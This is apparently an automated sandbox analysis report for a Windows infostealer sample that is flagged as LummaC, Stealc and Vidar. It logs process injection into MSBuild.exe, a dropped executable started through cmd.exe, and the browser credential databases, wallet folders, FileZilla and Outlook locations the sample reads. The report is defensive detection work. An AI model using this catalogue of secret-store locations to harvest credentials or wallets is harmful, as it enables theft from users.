Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F47008	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44B000	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 822008	Jump to behavior

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userJKECGDBFCB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userJKECGDBFCB.exe "C:\Users\userJKECGDBFCB.exe"	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C734760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

1_2_6C734760

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C53B341 cpuid

1_2_6C53B341

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_009EC085
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: GetLocaleInfoW,	0_2_009E622B
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: EnumSystemLocalesW,	0_2_009EC327
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: EnumSystemLocalesW,	0_2_009EC372
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_009EC498
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: EnumSystemLocalesW,	0_2_009EC40D
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: GetLocaleInfoW,	0_2_009EC6EB
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_009EC814
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_009EC9E9
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: GetLocaleInfoW,	0_2_009EC91A
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: EnumSystemLocalesW,	0_2_009E5D7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	1_2_00417B90
Source: C:\Users\userJKECGDBFCB.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	18_2_000DC085
Source: C:\Users\userJKECGDBFCB.exe	Code function: GetLocaleInfoW,	18_2_000D622B
Source: C:\Users\userJKECGDBFCB.exe	Code function: EnumSystemLocalesW,	18_2_000DC327
Source: C:\Users\userJKECGDBFCB.exe	Code function: EnumSystemLocalesW,	18_2_000DC372
Source: C:\Users\userJKECGDBFCB.exe	Code function: EnumSystemLocalesW,	18_2_000DC40D
Source: C:\Users\userJKECGDBFCB.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	18_2_000DC498
Source: C:\Users\userJKECGDBFCB.exe	Code function: GetLocaleInfoW,	18_2_000DC6EB
Source: C:\Users\userJKECGDBFCB.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	18_2_000DC814
Source: C:\Users\userJKECGDBFCB.exe	Code function: GetLocaleInfoW,	18_2_000DC91A
Source: C:\Users\userJKECGDBFCB.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	18_2_000DC9E9
Source: C:\Users\userJKECGDBFCB.exe	Code function: EnumSystemLocalesW,	18_2_000D5D7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe

Code function: 0_2_009D7815 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_009D7815

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_00417A30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 19.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.userJKECGDBFCB.exe.c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1624642212.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.45Ywq5ad5H.exe.9fdad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.45Ywq5ad5H.exe.9fdad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.45Ywq5ad5H.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 2012, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 2012, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: \jaxx\Local Storage\
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: passphrase.json
Source: MSBuild.exe	String found in binary or memory: \jaxx\Local Storage\
Source: MSBuild.exe	String found in binary or memory: \Ethereum\
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: Ethereum
Source: MSBuild.exe	String found in binary or memory: file__0.localstorage
Source: MSBuild.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: MSBuild.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: MSBuild.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 2012, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 19.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.userJKECGDBFCB.exe.c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1624642212.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.45Ywq5ad5H.exe.9fdad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.45Ywq5ad5H.exe.9fdad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.45Ywq5ad5H.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 2012, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 2012, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6F0C40 sqlite3_bind_zeroblob,	1_2_6C6F0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6F0D60 sqlite3_bind_parameter_name,	1_2_6C6F0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C618EA0 sqlite3_clear_bindings,	1_2_6C618EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6F0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	1_2_6C6F0B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C616410 bind,WSAGetLastError,	1_2_6C616410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C616070 PR_Listen,	1_2_6C616070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C61C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	1_2_6C61C050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C61C030 sqlite3_bind_parameter_count,	1_2_6C61C030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6160B0 listen,WSAGetLastError,	1_2_6C6160B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	411 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	155 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	41 Security Software Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
